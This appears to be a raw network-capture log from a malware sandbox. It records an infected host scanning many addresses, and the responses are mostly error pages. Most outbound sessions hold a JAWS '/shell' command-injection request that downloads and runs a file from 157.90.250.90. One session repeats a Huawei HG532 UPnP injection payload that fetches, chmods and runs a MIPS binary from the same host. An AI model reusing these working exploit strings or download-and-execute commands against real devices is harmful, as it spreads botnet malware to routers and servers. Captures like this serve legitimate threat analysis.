Jan 2, 2024 06:25:31.555524111 CET	1286	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 63 74 2d Data Ascii: font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat: no-repeat; background-co
Jan 2, 2024 06:25:31.555811882 CET	1286	IN	Data Raw: 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 77 6f 72 64 2d 62 72 Data Ascii: { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address { text-align: left; } footer { text-align
Jan 2, 2024 06:25:31.555824041 CET	1286	IN	Data Raw: 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 36 32 70 78 20 30 20 30 20 39 38 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: } .info-heading { margin: 62px 0 0 98px; } .info-server address { text-align: left; position: absolute; right: 0; bottom: 0;
Jan 2, 2024 06:25:31.556318045 CET	1286	IN	Data Raw: 62 47 42 74 71 52 46 52 58 6f 36 2b 30 5a 35 59 51 68 35 4c 48 64 39 59 47 57 4f 73 46 2b 39 49 73 35 6f 51 58 63 74 5a 4b 62 76 64 41 41 74 62 48 48 4d 38 2b 47 4c 66 6f 6a 57 64 49 67 50 66 66 37 59 69 66 52 54 4e 69 5a 6d 75 73 57 2b 77 38 66 Data Ascii: bGBtqRFRXo6+0Z5YQh5LHd9YGWOsF+9Is5oQXctZKbvdAAtbHHM8+GLfojWdIgPff7YifRTNiZmusW+w8fDj1xdevNnbU3VFfTEL/W33pfH31cGYBpgW9Lba3Ic8C8iA77NLe514vu8BPj6/n3lCd/VkgKXGkwYUQHAaM+yQunBmNSwbRVYh+kOcgMhvRDB1Md20YfiR+UFfvdIizp2v1vVjt0usa1pmNzAX2IFl5/xaE9aqQGS
Jan 2, 2024 06:25:31.556372881 CET	1286	IN	Data Raw: 35 55 33 77 4d 78 69 6f 69 45 72 52 6d 32 6e 75 68 64 38 51 52 43 41 38 49 77 54 52 41 57 31 4f 37 50 41 73 62 74 43 50 79 4d 4d 67 4a 70 2b 31 2f 49 61 78 71 47 41 52 7a 72 46 74 74 70 68 55 52 2b 4d 76 45 50 53 78 2b 36 6d 2f 70 43 78 45 69 33 Data Ascii: 5U3wMxioiErRm2nuhd8QRCA8IwTRAW1O7PAsbtCPyMMgJp+1/IaxqGARzrFttphUR+MvEPSx+6m/pCxEi3Y7p485ESAVmuldvzSTKw2fqHSGM5hBW1IUI0f/LdONtEUKXGC95jK+Rg4QBVwNmlePZVjTxuo24kWMrQHg/nZzxDqmqFRFC799+dbEirMoVEXhVA07Y+GWNMOBCxIIpCgCpAX5KgHB6IQILHwE3HXk2XQVszdSkGE
Jan 2, 2024 06:25:31.556742907 CET	1096	IN	Data Raw: 4c 57 6b 51 38 77 6f 42 4b 79 52 2b 2b 64 55 54 73 75 45 4b 2b 4c 38 70 32 42 44 34 66 47 64 73 66 71 68 78 47 51 54 51 5a 6c 75 48 55 4c 58 72 52 73 55 46 66 42 45 30 4f 67 7a 49 6c 72 61 52 38 76 6b 77 36 71 6e 58 6d 75 44 53 46 38 52 67 53 38 Data Ascii: LWkQ8woBKyR++dUTsuEK+L8p2BD4fGdsfqhxGQTQZluHULXrRsUFfBE0OgzIlraR8vkw6qnXmuDSF8RgS8th+d+phci8FJf1fwapi44rFpfqTZAnW+JFRG3kf94Z+sSqdR1UIiI/dc/B6N/M9WsiADO00A3QU0hohX5RTdeCrstyT1WphURTBevBaV4iwYJGGctRDC1FsGaQ3RtGFfL4os34g6T+AkAT84bs0fX2weS88X7X6hX
Jan 2, 2024 06:25:31.557271957 CET	1286	IN	Data Raw: 34 30 30 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 Data Ascii: 400</span> <span class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to srv2.des-click.com's <a href="mailto:laraaj5@gmail
Jan 2, 2024 06:25:31.557285070 CET	361	IN	Data Raw: 75 6d 3d 63 70 6c 6f 67 6f 26 75 74 6d 5f 63 6f 6e 74 65 6e 74 3d 6c 6f 67 6f 6c 69 6e 6b 26 75 74 6d 5f 63 61 6d 70 61 69 67 6e 3d 34 30 30 72 65 66 65 72 72 61 6c 22 20 74 61 72 67 65 74 3d 22 63 70 61 6e 65 6c 22 20 74 69 74 6c 65 3d 22 63 50 Data Ascii: um=cplogo&utm_content=logolink&utm_campaign=400referral" target="cpanel" title="cPanel, Inc."> <img src="/img-sys/powered_by_cpanel.svg" height="20" alt="cPanel, Inc." /> <div class="copyright">Copyright

Session ID	Source IP	Source Port	Destination IP	Destination Port
584	192.168.2.23	39910	193.182.144.154	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:31.359030008 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
585	192.168.2.23	41670	23.15.103.21	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:31.414283991 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:31.755538940 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:25:31 GMT Date: Tue, 02 Jan 2024 05:25:31 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 39 66 61 35 36 62 38 26 23 34 36 3b 31 37 30 34 31 37 33 31 33 31 26 23 34 36 3b 35 39 66 30 39 34 61 38 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.89fa56b8.1704173131.59f094a8</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
586	192.168.2.23	54612	156.254.75.54	37215

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:31.710967064 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:33.283621073 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:35.143340111 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Jan 2, 2024 06:25:38.946815014 CET	870	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 68 30 72 30 7a 78 30 30 78 68 30 72 30 7a 78 30 30 78 64 65 66 61 75 6c 74 2f 68 30 72 30 7a 78 30 30 78 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /h0r0zx00xh0r0zx00xdefault/h0r0zx00x.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
587	192.168.2.23	35298	174.84.210.3	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:31.914563894 CET	232	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:32.074532032 CET	500	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Tue, 02 Jan 2024 05:25:32 GMT Server: HTTP Server Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
588	192.168.2.23	60656	104.80.89.17	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:31.932213068 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:32.110033989 CET	428	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 206 Expires: Tue, 02 Jan 2024 05:25:32 GMT Date: Tue, 02 Jan 2024 05:25:32 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 65 35 39 35 30 36 38 26 23 34 36 3b 31 37 30 34 31 37 33 31 33 32 26 23 34 36 3b 33 33 36 34 33 61 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.e595068.1704173132.33643a</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
589	192.168.2.23	33266	184.26.2.239	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:32.158282995 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Jan 2, 2024 06:25:32.402208090 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Tue, 02 Jan 2024 05:25:32 GMT Date: Tue, 02 Jan 2024 05:25:32 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 36 62 66 30 31 32 30 32 26 23 34 36 3b 31 37 30 34 31 37 33 31 33 32 26 23 34 36 3b 32 63 30 62 30 31 37 31 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.6bf01202.1704173132.2c0b0171</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
590	192.168.2.23	50818	213.92.76.149	80

Timestamp	Bytes transferred	Direction	Data
Jan 2, 2024 06:25:32.164890051 CET	244	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 157.90.250.90/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
